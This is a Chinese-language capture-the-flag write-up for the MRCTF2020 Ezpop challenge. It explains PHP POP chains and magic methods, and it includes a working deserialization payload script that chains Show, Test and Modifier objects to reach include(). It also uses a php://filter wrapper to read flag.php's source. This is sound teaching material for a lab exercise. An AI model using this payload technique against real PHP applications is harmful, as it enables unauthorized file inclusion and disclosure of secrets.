考点
POP链的介绍
个人理解是POP链就是构造多个不同类和对象之间的联系达到我们想要的结果。这里附上师傅的介绍: 通过这一道题可以大致了解POP链的解题思路
PHP魔幻函数
解题过程
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
根据前几行的注释得知flag.php应该在web目录下面。
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
include函数为我们提供了个接口,可以直接包含flag.php文件或者利用php伪协议读取flag.php的源代码。如果想利用append 函数那就要魔幻函数__invoke ,该函数是当用调用函数的方式来调用一个对象时会用调用方法。所以为了实现该方法就必须有个调用函数的方式。
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
通过搜查发现Test类里有我们需要的调用函数方式,魔幻函数__get() 是当 在访问类中一个不存在的属性时自动调用。那么现在我们的目的就是要找访问属性的地方。
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
__tostring 魔幻函数当类的对象被当作字符串时调用的方法。比如说 echo 实例对象时。那么我们就要找把对象当作字符串的地方__wakeup 函数处有该处理,正则表达式的匹配。__wakeup 函数是当对象被反序列化时调用的方法。
整体思路:以上就相当于一个反向寻找flag的思路。那么把这个思路反过来就可以构造一个POP链了。 反序列化->调用Show类中魔术方法__wakeup ->preg_match() 函数对Show类的属性source处理->调用Show类中魔术方法__toString ->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get ->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke ->include()函数包含目标文件(flag.php)
Payload代码
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
class Modifier {
protected $var = 'flag.php';
}
$a = new Show();
$b = new Show();
$a->source = $b;
$b->str = new Test();
$b->str->p = new Modifier();
print_r(serialize($a));
echo ' ';
echo urlencode(serialize($a));
这里有个细节要注意因为Modifier中的属性$var 是一个protected属性所以会出现%00 ,如果直接复制的话会导致%00不可见字符丢失,所以可以url编码一下防止丢失。
但是直接包含flag.php得不到flag,需要读取flag.php的源码,直接包含只能见到如下内容。 故l利用伪协议读取下源代码 protected $var=“php://filter/read=convert.base64-encode/resource=flag.php”; 解码 参考师傅的博客:[BUUCTF题解][MRCTF2020]Ezpop 1。
|